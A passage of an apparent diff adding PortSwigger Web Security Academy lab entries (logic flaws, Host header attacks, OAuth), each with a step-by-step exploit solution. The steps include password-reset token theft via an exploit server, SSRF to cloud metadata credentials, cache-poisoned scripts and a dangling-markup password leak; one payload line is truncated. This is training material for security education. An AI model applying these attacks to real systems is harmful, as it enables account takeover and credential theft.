+ "solution": "With Burp running, log in and attempt to buy the leather jacket. The order is rejected because you don't have enough store credit. In the proxy history, study the order process. Send the POST /cart request to Burp Repeater.\nIn Burp Repeater, notice that you can only add a 2-digit quantity with each request. Send the request to Burp Intruder.\nGo to Intruder and set the quantity parameter to 99.\nIn the Payloads side panel, select the payload type Null payloads. Under Payload configuration, select Continue indefinitely. Start the attack.\nWhile the attack is running, go to your cart. Keep refreshing the page every so often and monitor the total price. Eventually, notice that the price suddenly switches to a large negative integer and starts counting up towards 0. The price has exceeded the maximum value permitted for an integer in the back-end programming language (2,147,483,647). As a result, the value has looped back around to the minimum possible value (-2,147,483,648).\nClear your cart. In the next few steps, we'll try to add enough units so that the price loops back around and settles between $0 and the $100 of your remaining store credit. This is not mathematically possible using only the leather jacket. Note that the price of the jacket is stored in cents (133700).\nCreate the same Intruder attack again, but this time under Payload configuration, choose to generate exactly 323 payloads.\nClick Resource pool to open the Resource pool tab. Add the attack to a resource pool with the Maximum concurrent requests set to 1. Start the attack.\nWhen the Intruder attack finishes, go to the POST /cart request in Burp Repeater and send a single request for 47 jackets. The total price of the order should now be -$1221.96.\nUse Burp Repeater to add a suitable quantity of another item to your cart so that the total falls between $0 and $100.\nPlace the order to solve the lab."
+ },
+ {
+ "type": "logic-flaws",
+ "url": "https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-inconsistent-handling-of-exceptional-input",
+ "title": "Lab: Inconsistent handling of exceptional input",
+ "description": "This lab doesn't adequately validate user input. You can exploit a logic flaw in its account registration process to gain access to administrative functionality. To solve the lab, access the admin panel and delete the user carlos.",
+ "solution": "While proxying traffic through Burp, open the lab and go to the \"Target\" > \"Site map\" tab. Right-click on the lab domain and select \"Engagement tools\" > \"Discover content\" to open the content discovery tool.\nClick \"Session is not running\" to start the content discovery. After a short while, look at the \"Site map\" tab in the dialog. Notice that it discovered the path /admin.\nTry to browse to /admin. Although you don't have access, an error message indicates that DontWannaCry users do.\nGo to the account registration page. Notice the message telling DontWannaCry employees to use their company email address.\nFrom the button in the lab banner, open the email client. Make a note of the unique ID in the domain name for your email server (@YOUR-EMAIL-ID.web-security-academy.net).\nGo back to the lab and register with an exceptionally long email address in the format:\nvery-long-string@YOUR-EMAIL-ID.web-security-academy.net\nThe very-long-string should be at least 200 characters long.\nGo to the email client and notice that you have received a confirmation email. Click the link to complete the registration process.\nLog in and go to the \"My account\" page. Notice that your email address has been truncated to 255 characters.\nLog out and go back to the account registration page.\nRegister a new account with another long email address, but this time include dontwannacry.com as a subdomain in your email address as follows:\nvery-long-string@dontwannacry.com.YOUR-EMAIL-ID.web-security-academy.net\nMake sure that the very-long-string is the right number of characters so that the \"m\" at the end of @dontwannacry.com is character 255 exactly.\nGo to the email client and click the link in the confirmation email that you have received. Log in to your new account and notice that you now have access to the admin panel. The confirmation email was successfully sent to your email client, but the application server truncated the address associated with your account to 255 characters. As a result, you have been able to register with what appears to be a valid @dontwannacry.com address. You can confirm this from the \"My account\" page.\nGo to the admin panel and delete carlos to solve the lab."
+ },
+ {
+ "type": "logic-flaws",
+ "url": "https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-weak-isolation-on-dual-use-endpoint",
+ "title": "Lab: Weak isolation on dual-use endpoint",
+ "description": "This lab makes a flawed assumption about the user's privilege level based on their input. As a result, you can exploit the logic of its account management features to gain access to arbitrary users' accounts. To solve the lab, access the administrator account and delete the user carlos.\nYou can log in to your own account using the following credentials: wiener:peter",
+ "solution": "With Burp running, log in and access your account page.\nChange your password.\nStudy the POST /my-account/change-password request in Burp Repeater.\nNotice that if you remove the current-password parameter entirely, you are able to successfully change your password without providing your current one.\nObserve that the user whose password is changed is determined by the username parameter. Set username=administrator and send the request again.\nLog out and notice that you can now successfully log in as the administrator using the password you just set.\nGo to the admin panel and delete carlos to solve the lab."
+ },
+ {
+ "type": "logic-flaws",
+ "url": "https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation",
+ "title": "Lab: Insufficient workflow validation",
+ "description": "This lab makes flawed assumptions about the sequence of events in the purchasing workflow. To solve the lab, exploit this flaw to buy a \"Lightweight l33t leather jacket\".\nYou can log in to your own account using the following credentials: wiener:peter",
+ "solution": "With Burp running, log in and buy any item that you can afford with your store credit.\nStudy the proxy history. Observe that when you place an order, the POST /cart/checkout request redirects you to an order confirmation page. Send GET /cart/order-confirmation?order-confirmation=true to Burp Repeater.\nAdd the leather jacket to your basket.\nIn Burp Repeater, resend the order confirmation request. Observe that the order is completed without the cost being deducted from your store credit and the lab is solved."
+ },
+ {
+ "type": "logic-flaws",
+ "url": "https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-authentication-bypass-via-flawed-state-machine",
+ "title": "Lab: Authentication bypass via flawed state machine",
+ "description": "This lab makes flawed assumptions about the sequence of events in the login process. To solve the lab, exploit this flaw to bypass the lab's authentication, access the admin interface, and delete the user carlos.\nYou can log in to your own account using the following credentials: wiener:peter",
+ "solution": "With Burp running, complete the login process and notice that you need to select your role before you are taken to the home page.\nUse the content discovery tool to identify the /admin path.\nTry browsing to /admin directly from the role selection page and observe that this doesn't work.\nLog out and then go back to the login page. In Burp, turn on proxy intercept then log in.\nForward the POST /login request. The next request is GET /role-selector. Drop this request and then browse to the lab's home page. Observe that your role has defaulted to the administrator role and you have access to the admin panel.\nDelete carlos to solve the lab."
+ },
+ {
+ "type": "logic-flaws",
+ "url": "https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-infinite-money",
+ "title": "Lab: Infinite money logic flaw",
+ "description": "This lab has a logic flaw in its purchasing workflow. To solve the lab, exploit this flaw to buy a \"Lightweight l33t leather jacket\".\nYou can log in to your own account using the following credentials: wiener:peter",
+ "solution": "This solution uses Burp Intruder to automate the process of buying and redeeming gift cards. Users proficient in Python might prefer to use the Turbo Intruder extension instead.\nWith Burp running, log in and sign up for the newsletter to obtain a coupon code, SIGNUP30. Notice that you can buy $10 gift cards and redeem them from the My account page.\nAdd a gift card to your basket and proceed to the checkout. Apply the coupon code to get a 30% discount. Complete the order and copy the gift card code to your clipboard.\nGo to your account page and redeem the gift card. Observe that this entire process has added $3 to your store credit. Now you need to try and automate this process.\nStudy the proxy history and notice that you redeem your gift card by supplying the code in the gift-card parameter of the POST /gift-card request.\nClick Settings in the top toolbar. The Settings dialog opens.\nClick Sessions. In the Session handling rules panel, click Add. The Session handling rule editor dialog opens.\nIn the dialog, go to the Scope tab. Under URL scope, select Include all URLs.\nGo back to the Details tab. Under Rule actions, click Add > Run a macro. Under Select macro, click Add again to open the Macro Recorder.\nSelect the following sequence of requests:\nPOST /cart\nPOST /cart/coupon\nPOST /cart/checkout\nGET /cart/order-confirmation?order-confirmed=true\nPOST /gift-card\nThen, click OK. The Macro Editor opens.\nIn the list of requests, select GET /cart/order-confirmation?order-confirmed=true. Click Configure item. In the dialog that opens, click Add to create a custom parameter. Name the parameter gift-card and highlight the gift card code at the bottom of the response. Click OK twice to go back to the Macro Editor.\nSelect the POST /gift-card request and click Configure item again. In the Parameter handling section, use the drop-down menus to specify that the gift-card parameter should be derived from the prior response (response 4). Click OK.\nIn the Macro Editor, click Test macro. Look at the response to GET /cart/order-confirmation?order-confirmation=true and note the gift card code that was generated. Look at the POST /gift-card request. Make sure that the gift-card parameter matches and confirm that it received a 302 response. Keep clicking OK until you get back to the main Burp window.\nSend the GET /my-account request to Burp Intruder. Make sure that Sniper attack is selected.\nIn the Payloads side panel, under Payload configuration, select the payload type Null payloads. Choose to generate 412 payloads.\nClick on Resource pool to open the Resource pool side panel. Add the attack to a resource pool with the Maximum concurrent requests set to 1. Start the attack.\nWhen the attack finishes, you will have enough store credit to buy the jacket and solve the lab."
+ },
+ {
+ "type": "logic-flaws",
+ "url": "https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-authentication-bypass-via-encryption-oracle",
+ "title": "Lab: Authentication bypass via encryption oracle",
+ "description": "This lab contains a logic flaw that exposes an encryption oracle to users. To solve the lab, exploit this flaw to gain access to the admin panel and delete the user carlos.\nYou can log in to your own account using the following credentials: wiener:peter",
+ "solution": "Log in with the \"Stay logged in\" option enabled and post a comment. Study the corresponding requests and responses using Burp's manual testing tools. Observe that the stay-logged-in cookie is encrypted.\nNotice that when you try and submit a comment using an invalid email address, the response sets an encrypted notification cookie before redirecting you to the blog post.\nNotice that the error message reflects your input from the email parameter in cleartext:\nInvalid email address: your-invalid-email\nDeduce that this must be decrypted from the notification cookie. Send the POST /post/comment and the subsequent GET /post?postId=x request (containing the notification cookie) to Burp Repeater.\nIn Repeater, observe that you can use the email parameter of the POST request to encrypt arbitrary data and reflect the corresponding ciphertext in the Set-Cookie header. Likewise, you can use the notification cookie in the GET request to decrypt arbitrary ciphertext and reflect the output in the error message. For simplicity, double-click the tab for each request and rename the tabs encrypt and decrypt respectively.\nIn the decrypt request, copy your stay-logged-in cookie and paste it into the notification cookie. Send the request. Instead of the error message, the response now contains the decrypted stay-logged-in cookie, for example:\nwiener:1598530205184\nThis reveals that the cookie should be in the format username:timestamp. Copy the timestamp to your clipboard.\nGo to the encrypt request and change the email parameter to administrator:your-timestamp. Send the request and then copy the new notification cookie from the response.\nDecrypt this new cookie and observe that the 23-character \"Invalid email address: \" prefix is automatically added to any value you pass in using the email parameter. Send the notification cookie to Burp Decoder.\nIn Decoder, URL-decode and Base64-decode the cookie.\nIn Burp Repeater, switch to the message editor's \"Hex\" tab. Select the first 23 bytes, then right-click and select \"Delete selected bytes\".\nRe-encode the data and copy the result into the notification cookie of the decrypt request. When you send the request, observe that an error message indicates that a block-based encryption algorithm is used and that the input length must be a multiple of 16. You need to pad the \"Invalid email address: \" prefix with enough bytes so that the number of bytes you will remove is a multiple of 16.\nIn Burp Repeater, go back to the encrypt request and add 9 characters to the start of the intended cookie value, for example:\nxxxxxxxxxadministrator:your-timestamp\nEncrypt this input and use the decrypt request to test that it can be successfully decrypted.\nSend the new ciphertext to Decoder, then URL and Base64-decode it. This time, delete 32 bytes from the start of the data. Re-encode the data and paste it into the notification parameter in the decrypt request. Check the response to confirm that your input was successfully decrypted and, crucially, no longer contains the \"Invalid email address: \" prefix. You should only see administrator:your-timestamp.\nFrom the proxy history, send the GET / request to Burp Repeater. Delete the session cookie entirely, and replace the stay-logged-in cookie with the ciphertext of your self-made cookie. Send the request. Observe that you are now logged in as the administrator and have access to the admin panel.\nUsing Burp Repeater, browse to /admin and notice the option for deleting users. Browse to /admin/delete?username=carlos to solve the lab."
+ },
+ {
+ "type": "logic-flaws",
+ "url": "https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-bypassing-access-controls-using-email-address-parsing-discrepancies",
+ "title": "Lab: Bypassing access controls using email address parsing discrepancies",
+ "description": "",
+ "solution": "Identify the registration restriction\nOpen the lab and click Register.\nAttempt to register an account with the email foo@exploit-server.net.\nNotice that the application blocks the request and displays an error message stating that the email domain must be ginandjuice.shop. This indicates the server enforces a domain check during registration.\nInvestigate encoding discrepancies\nTry to register an account with the following email:\n=?iso-8859-1?q?=61=62=63?=foo@ginandjuice.shop.\nThis is the email abcfoo@ginandjuice.shop, with the abc portion encoded using Q encoding, which is part of the \"encoded-word\" standard.\nNotice that the registration is blocked with the error: \"Registration blocked for security reasons.\"\nTry to register an account with the following UTF-8 encoded email:\n=?utf-8?q?=61=62=63?=foo@ginandjuice.shop.\nNotice that the registration is blocked with the same error message. This suggests that the server is detecting and rejecting attempts to manipulate the registration email with encoded word encoding. It is possible that less common encoding formats may not be picked up by the server's validation.\nTry to register an account with the following UTF-7 encoded email:\n=?utf-7?q?&AGEAYgBj-?=foo@ginandjuice.shop.\nNotice that this attempt doesn't trigger an error. This suggests that the server doesn't recognize UTF-7 encoding as a security threat. Because UTF-7 encoding appears to bypass the server's validation, you may be able to use it to craft an attack that tricks the server into sending a confirmation email to your exploit server email address while appearing to still satisfy the ginandjuice.shop domain requirement.\nExploit the vulnerability using UTF-7\nRegister an account with the following UTF-7 encoded email:\n=?utf-7?q?attacker&AEA-[YOUR-EXPLOIT-SERVER_ID]&ACA-?=@ginandjuice.shop.\nThis is the string attacker@[YOUR-EXPLOIT-SERVER-ID] ?=@ginandjuice.shop, with the @ symbol and space encoded in UTF-7.\nClick Email client. Notice that you have been sent a registration validation email. This is because the encoded email address has passed validation due to the @ginandjuice.shop portion at the end, but the email server has interpreted the registration email as attacker@[YOUR-EXPLOIT-SERVER-ID].\nClick the confirmation link to activate the account.\nGain admin access\nClick My account and log in using the details you registered.\nClick Admin panel to access the list of users.\nDelete the carlos user to solve the lab."
+ }
+ ]
+ },
+ {
+ "section": "http-host-header-attacks",
+ "labs": [
+ {
+ "type": "host-header",
+ "url": "https://portswigger.net/web-security/host-header/exploiting/password-reset-poisoning/lab-host-header-basic-password-reset-poisoning",
+ "title": "Lab: Basic password reset poisoning",
+ "description": "This lab is vulnerable to password reset poisoning. The user carlos will carelessly click on any links in emails that he receives. To solve the lab, log in to Carlos's account.\nYou can log in to your own account using the following credentials: wiener:peter. Any emails sent to this account can be read via the email client on the exploit server.",
+ "solution": "Go to the login page and notice the \"Forgot your password?\" functionality. Request a password reset for your own account.\nGo to the exploit server and open the email client. Observe that you have received an email containing a link to reset your password. Notice that the URL contains the query parameter temp-forgot-password-token.\nClick the link and observe that you are prompted to enter a new password. Reset your password to whatever you want.\nIn Burp, study the HTTP history. Notice that the POST /forgot-password request is used to trigger the password reset email. This contains the username whose password is being reset as a body parameter. Send this request to Burp Repeater.\nIn Burp Repeater, observe that you can change the Host header to an arbitrary value and still successfully trigger a password reset. Go back to the email server and look at the new email that you've received. Notice that the URL in the email contains your arbitrary Host header instead of the usual domain name.\nBack in Burp Repeater, change the Host header to your exploit server's domain name (YOUR-EXPLOIT-SERVER-ID.exploit-server.net) and change the username parameter to carlos. Send the request.\nGo to your exploit server and open the access log. You will see a request for GET /forgot-password with the temp-forgot-password-token parameter containing Carlos's password reset token. Make a note of this token.\nGo to your email client and copy the genuine password reset URL from your first email. Visit this URL in the browser, but replace your reset token with the one you obtained from the access log.\nChange Carlos's password to whatever you want, then log in as carlos to solve the lab."
+ },
+ {
+ "type": "host-header",
+ "url": "https://portswigger.net/web-security/host-header/exploiting/lab-host-header-authentication-bypass",
+ "title": "Lab: Host header authentication bypass",
+ "description": "This lab makes an assumption about the privilege level of the user based on the HTTP Host header.\nTo solve the lab, access the admin panel and delete the user carlos.",
+ "solution": "Send the GET / request that received a 200 response to Burp Repeater. Notice that you can change the Host header to an arbitrary value and still successfully access the home page.\nBrowse to /robots.txt and observe that there is an admin panel at /admin.\nTry and browse to /admin. You do not have access, but notice the error message, which reveals that the panel can be accessed by local users.\nSend the GET /admin request to Burp Repeater.\nIn Burp Repeater, change the Host header to localhost and send the request. Observe that you have now successfully accessed the admin panel, which provides the option to delete different users.\nChange the request line to GET /admin/delete?username=carlos and send the request to delete carlos to solve the lab."
+ },
+ {
+ "type": "host-header",
+ "url": "https://portswigger.net/web-security/host-header/exploiting/lab-host-header-web-cache-poisoning-via-ambiguous-requests",
+ "title": "Lab: Web cache poisoning via ambiguous requests",
+ "description": "This lab is vulnerable to web cache poisoning due to discrepancies in how the cache and the back-end application handle ambiguous requests. An unsuspecting user regularly visits the site's home page.\nTo solve the lab, poison the cache so the home page executes alert(document.cookie) in the victim's browser.",
+ "solution": "In Burp's browser, open the lab and click Home to refresh the home page.\nIn Proxy > HTTP history, right-click the GET / request and select Send to Repeater.\nIn Repeater, study the lab's behavior. Notice that the website validates the Host header. If you modify the Host header, you can no longer access the home page.\nIn the original response, notice the verbose caching headers, which tell you when you get a cache hit and how old the cached response is. Add an arbitrary query parameter to your requests to serve as a cache buster, for example, GET /?cb=123. You can change this parameter each time you want a fresh response from the back-end server.\nNotice that if you add a second Host header with an arbitrary value, this appears to be ignored when validating and routing your request. Crucially, notice that the arbitrary value of your second Host header is reflected in an absolute URL used to import a script from /resources/js/tracking.js.\nRemove the second Host header and send the request again using the same cache buster. Notice that you still receive the same cached response containing your injected value.\nGo to the exploit server and create a file at /resources/js/tracking.js containing the payload alert(document.cookie). Store the exploit and copy the domain name for your exploit server.\nBack in Burp Repeater, add a second Host header containing your exploit server domain name. The request should look something like this:\nGET /?cb=123 HTTP/1.1\nHost: YOUR-LAB-ID.web-security-academy.net\nHost: YOUR-EXPLOIT-SERVER-ID.exploit-server.net\nSend the request a couple of times until you get a cache hit with your exploit server URL reflected in the response. To simulate the victim, request the page in the browser using the same cache buster in the URL. Make sure that the alert() fires.\nIn Burp Repeater, remove any cache busters and keep replaying the request until you have re-poisoned the cache. The lab is solved when the victim visits the home page."
+ },
+ {
+ "type": "host-header",
+ "url": "https://portswigger.net/web-security/host-header/exploiting/lab-host-header-routing-based-ssrf",
+ "title": "Lab: Routing-based SSRF",
+ "description": "This lab is vulnerable to routing-based SSRF via the Host header. You can exploit this to access an insecure intranet admin panel located on an internal IP address.\nTo solve the lab, access the internal admin panel located in the 192.168.0.0/24 range, then delete the user carlos.",
+ "solution": "Send the GET / request that received a 200 response to Burp Repeater.\nIn Burp Repeater, select the Host header value, right-click and select Insert Collaborator payload to replace it with a Collaborator domain name. Send the request.\nGo to the Collaborator tab and click Poll now. You should see a couple of network interactions in the table, including an HTTP request. This confirms that you are able to make the website's middleware issue requests to an arbitrary server.\nSend the GET / request to Burp Intruder.\nGo to Intruder.\nDeselect Update Host header to match target.\nDelete the value of the Host header and replace it with the following IP address, adding a payload position to the final octet:\nHost: 192.168.0.\u00a70\u00a7\nIn the Payloads side panel, select the payload type Numbers. Under Payload configuration, enter the following values:\nFrom: 0\nTo: 255\nStep: 1\nClick Start attack. A warning will inform you that the Host header does not match the specified target host. As we've done this deliberately, you can ignore this message.\nWhen the attack finishes, click the Status column to sort the results. Notice that a single request received a 302 response redirecting you to /admin. Send this request to Burp Repeater.\nIn Burp Repeater, change the request line to GET /admin and send the request. In the response, observe that you have successfully accessed the admin panel.\nStudy the form for deleting users. Notice that it will generate a POST request to /admin/delete with both a CSRF token and username parameter. You need to manually craft an equivalent request to delete carlos.\nChange the path in your request to /admin/delete. Copy the CSRF token from the displayed response and add it as a query parameter to your request. Also add a username parameter containing carlos. The request line should now look like this but with a different CSRF token:\nGET /admin/delete?csrf=QCT5OmPeAAPnyTKyETt29LszLL7CbPop&username=carlos\nCopy the session cookie from the Set-Cookie header in the displayed response and add it to your request.\nRight-click on your request and select Change request method. Burp will convert it to a POST request.\nSend the request to delete carlos and solve the lab."
+ },
+ {
+ "type": "host-header",
+ "url": "https://portswigger.net/web-security/host-header/exploiting/lab-host-header-ssrf-via-flawed-request-parsing",
+ "title": "Lab: SSRF via flawed request parsing",
+ "description": "This lab is vulnerable to routing-based SSRF due to its flawed parsing of the request's intended host. You can exploit this to access an insecure intranet admin panel located at an internal IP address.\nTo solve the lab, access the internal admin panel located in the 192.168.0.0/24 range, then delete the user carlos.",
+ "solution": "Send the GET / request that received a 200 response to Burp Repeater and study the lab's behavior. Observe that the website validates the Host header and blocks any requests in which it has been modified.\nObserve that you can also access the home page by supplying an absolute URL in the request line as follows:\nGET https://YOUR-LAB-ID.web-security-academy.net/\nNotice that when you do this, modifying the Host header no longer causes your request to be blocked. Instead, you receive a timeout error. This suggests that the absolute URL is being validated instead of the Host header.\nUse Burp Collaborator to confirm that you can make the website's middleware issue requests to an arbitrary server in this way. For example, the following request will trigger an HTTP request to your Collaborator server:\nGET https://YOUR-LAB-ID.web-security-academy.net/\nHost: BURP-COLLABORATOR-SUBDOMAIN\nRight-click and select Insert Collaborator payload to insert a Burp Collaborator subdomain where indicated in the request.\nSend the request containing the absolute URL to Burp Intruder.\nGo to Intruder and deselect Update Host header to match target.\nUse the Host header to scan the IP range 192.168.0.0/24 to identify the IP address of the admin interface. Send this request to Burp Repeater.\nIn Burp Repeater, append /admin to the absolute URL in the request line and send the request. Observe that you now have access to the admin panel, including a form for deleting users.\nChange the absolute URL in your request to point to /admin/delete. Copy the CSRF token from the displayed response and add it as a query parameter to your request. Also add a username parameter containing carlos. The request line should now look like this but with a different CSRF token:\nGET https://YOUR-LAB-ID.web-security-academy.net/admin/delete?csrf=QCT5OmPeAAPnyTKyETt29LszLL7CbPop&username=carlos\nCopy the session cookie from the Set-Cookie header in the displayed response and add it to your request.\nRight-click on your request and select \"Change request method\". Burp will convert it to a POST request.\nSend the request to delete carlos and solve the lab."
+ },
+ {
+ "type": "host-header",
+ "url": "https://portswigger.net/web-security/host-header/exploiting/lab-host-header-host-validation-bypass-via-connection-state-attack",
+ "title": "Lab: Host validation bypass via connection state attack",
+ "description": "This lab is vulnerable to routing-based SSRF via the Host header. Although the front-end server may initially appear to perform robust validation of the Host header, it makes assumptions about all requests on a connection based on the first request it receives.\nTo solve the lab, exploit this behavior to access an internal admin panel located at 192.168.0.1/admin, then delete the user carlos.\nThis lab is based on real-world vulnerabilities discovered by PortSwigger Research. For more details, check out Browser-Powered Desync Attacks: A New Frontier in HTTP Request Smuggling.",
+ "solution": "Solving this lab requires features first released in Burp Suite 2022.8.1."
+ },
+ {
+ "type": "host-header",
+ "url": "https://portswigger.net/web-security/host-header/exploiting/password-reset-poisoning/lab-host-header-password-reset-poisoning-via-dangling-markup",
+ "title": "Lab: Password reset poisoning via dangling markup",
+ "description": "This lab is vulnerable to password reset poisoning via dangling markup. To solve the lab, log in to Carlos's account.\nYou can log in to your own account using the following credentials: wiener:peter. Any emails sent to this account can be read via the email client on the exploit server.",
+ "solution": "Go to the login page and request a password reset for your own account.\nGo to the exploit server and open the email client to find the password reset email. Observe that the link in the email simply points to the generic login page and the URL does not contain a password reset token. Instead, a new password is sent directly in the email body text.\nIn the proxy history, study the response to the GET /email request. Observe that the HTML content for your email is written to a string, but this is being sanitized using the DOMPurify library before it is rendered by the browser.\nIn the email client, notice that you have the option to view each email as raw HTML instead. Unlike the rendered version of the email, this does not appear to be sanitized in any way.\nSend the POST /forgot-password request to Burp Repeater. Observe that tampering with the domain name in the Host header results in a server error. However, you are able to add an arbitrary, non-numeric port to the Host header and still reach the site as normal. Sending this request will still trigger a password reset email:\nHost: YOUR-LAB-ID.web-security-academy.net:arbitraryport\nIn the email client, check the raw version of your emails. Notice that your injected port is reflected inside a link as an unescaped, single-quoted string. This is later followed by the new password.\nSend the POST /forgot-password request again, but this time use the port to break out of the string and inject a dangling-markup payload pointing to your exploit server:\nHost: YOUR-LAB-ID.web-security-academy.net:'[\u2026], which contains the rest of the email body, including the new password.\nIn Burp Repeater, send the request one last time, but change the username parameter to carlos. Refresh the access log and obtain Carlos's new password from the corresponding log entry.\nLog in as carlos using this new password to solve the lab."
+ }
+ ]
+ },
+ {
+ "section": "oauth-authentication",
+ "labs": [
+ {
+ "type": "oauth",
+ "url": "https://portswigger.net/web-security/oauth/lab-oauth-authentication-bypass-via-oauth-implicit-flow",
+ "title": "Lab: Authentication bypass via OAuth implicit flow",
+ "description": "This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the client application makes it possible for an attacker to log in to other users' accounts without knowing their password.\nTo solve the lab, log in to Carlos's account. His email address is carlos@carlos-montoya.net.\nYou can log in with your own social media account using the following credentials: wiener:peter.",
+ "solution": "While proxying traffic through Burp, click \"My account\" and complete the OAuth login process. Afterwards, you will be redirected back to the blog website.\nIn Burp, go to \"Proxy\" > \"HTTP history\" and study the requests and responses that make up the OAuth flow. This starts from the authorization request GET /auth?client_id=[...].\nNotice that the client application (the blog website) receives some basic information about the user from the OAuth service. It then logs the user in by sending a POST request containing this information to its own /authenticate endpoint, along with the access token.\nSend the POST /authenticate request to Burp Repeater. In Repeater, change the email address to carlos@carlos-montoya.net and send the request. Observe that you do not encounter an error.\nRight-click on the POST request and select \"Request in browser\" > \"In original session\". Copy this URL and visit it in the browser. You are logged in as Carlos and the lab is solved."
+ },
+ {
+ "type": "oauth",
+ "url": "https://portswigger.net/web-security/oauth/openid/lab-oauth-ssrf-via-openid-dynamic-client-registration",
+ "title": "Lab: SSRF via OpenID dynamic client registration",
+ "description": "This lab allows client applications to dynamically register themselves with the OAuth service via a dedicated registration endpoint. Some client-specific data is used in an unsafe way by the OAuth service, which exposes a potential vector for SSRF.\nTo solve the lab, craft an SSRF attack to access http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/ and steal the secret access key for the OAuth provider's cloud environment.\nYou can log in to your own account using the following credentials: wiener:peter",
+ "solution": "While proxying traffic through Burp, log in to your own account. Browse to https://oauth-YOUR-OAUTH-SERVER.oauth-server.net/.well-known/openid-configuration to access the configuration file. Notice that the client registration endpoint is located at /reg.\nIn Burp Repeater, create a suitable POST request to register your own client application with the OAuth service. You must at least provide a redirect_uris array containing an arbitrary whitelist of callback URIs for your fake application. For example:\nPOST /reg HTTP/1.1\nHost: oauth-YOUR-OAUTH-SERVER.oauth-server.net\nContent-Type: application/json\n\n{\n \"redirect_uris\" : [\n \"https://example.com\"\n ]\n}\nSend the request. Observe that you have now successfully registered your own client application without requiring any authentication. The response contains various metadata associated with your new client application, including a new client_id.\nUsing Burp, audit the OAuth flow and notice that the \"Authorize\" page, where the user consents to the requested permissions, displays the client application's logo. This is fetched from /client/CLIENT-ID/logo. We know from the OpenID specification that client applications can provide the URL for their logo using the logo_uri property during dynamic registration. Send the GET /client/CLIENT-ID/logo request to Burp Repeater.\nIn Repeater, go back to the POST /reg request that you created earlier. Add the logo_uri property. Right-click and select \"Insert Collaborator payload\" to paste a Collaborator URL as its value . The final request should look something like this:\nPOST /reg HTTP/1.1\nHost: oauth-YOUR-OAUTH-SERVER.oauth-server.net\nContent-Type: application/json\n\n{\n \"redirect_uris\" : [\n \"https://example.com\"\n ],\n \"logo_uri\" : \"https://BURP-COLLABORATOR-SUBDOMAIN\"\n}\nSend the request to register a new client application and copy the client_id from the response.\nIn Repeater, go to the GET /client/CLIENT-ID/logo request. Replace the CLIENT-ID in the path with the new one you just copied and send the request.\nGo to the Collaborator tab dialog and check for any new interactions. Notice that there is an HTTP interaction attempting to fetch your non-existent logo. This confirms that you can successfully use the logo_uri property to elicit requests from the OAuth server.\nGo back to the POST /reg request in Repeater and replace the current logo_uri value with the target URL:\n\"logo_uri\" : \"http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/\"\nSend this request and copy the new client_id from the response.\nGo back to the GET /client/CLIENT-ID/logo request and replace the client_id with the new one you just copied. Send this request. Observe that the response contains the sensitive metadata for the OAuth provider's cloud environment, including the secret access key.\nUse the \"Submit solution\" button to submit the access key and solve the lab."
+ },
+ {
+ "type": "oauth",
+ "url": "https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking",
+ "title": "Lab: Forced OAuth profile linking",
+ "description": "This lab gives you the option to attach a social media profile to your account so that you can log in via OAuth instead of using the normal username and password. Due to the insecure implementation of the OAuth flow by the client application, an attacker can manipulate this functionality to obtain access to other users' accounts.\nTo solve the lab, use a CSRF attack to attach your own social media profile to the admin user's account on the blog website, then access the admin panel and delete carlos.\nThe admin user will open anything you send from the exploit server and they always have an active session on the blog website.\nYou can log in to your own accounts using the following credentials:",
+ "solution": "While proxying traffic through Burp, click \"My account\". You are taken to a normal login page, but notice that there is an option to log in using your social media profile instead. For now, just log in to the blog website directly using the classic login form.\nNotice that you have the option to attach your social media profile to your existing account.\nClick \"Attach a social profile\". You are redirected to the social media website, where you should log in using your social media credentials to complete the OAuth flow. Afterwards, you will be redirected back to the blog website.\nLog out and then click \"My account\" to go back to the login page. This time, choose the \"Log in with social media\" option. Observe that you are logged in instantly via your newly linked social media account.\nIn the proxy history, study the series of requests for attaching a social profile. In the GET /auth?client_id[...] request, observe that the redirect_uri for this functionality sends the authorization code to /oauth-linking. Importantly, notice that the request does not include a state parameter to protect against CSRF attacks.\nTurn on proxy interception and select the \"Attach a social profile\" option again.\nGo to Burp Proxy and forward any requests until you have intercepted the one for GET /oauth-linking?code=[...]. Right-click on this request and select \"Copy URL\".\nDrop the request. This is important to ensure that the code is not used and, therefore, remains valid.\nTurn off proxy interception and log out of the blog website.\nGo to the exploit server and create an iframe in which the src attribute points to the URL you just copied. The result should look something like this:\n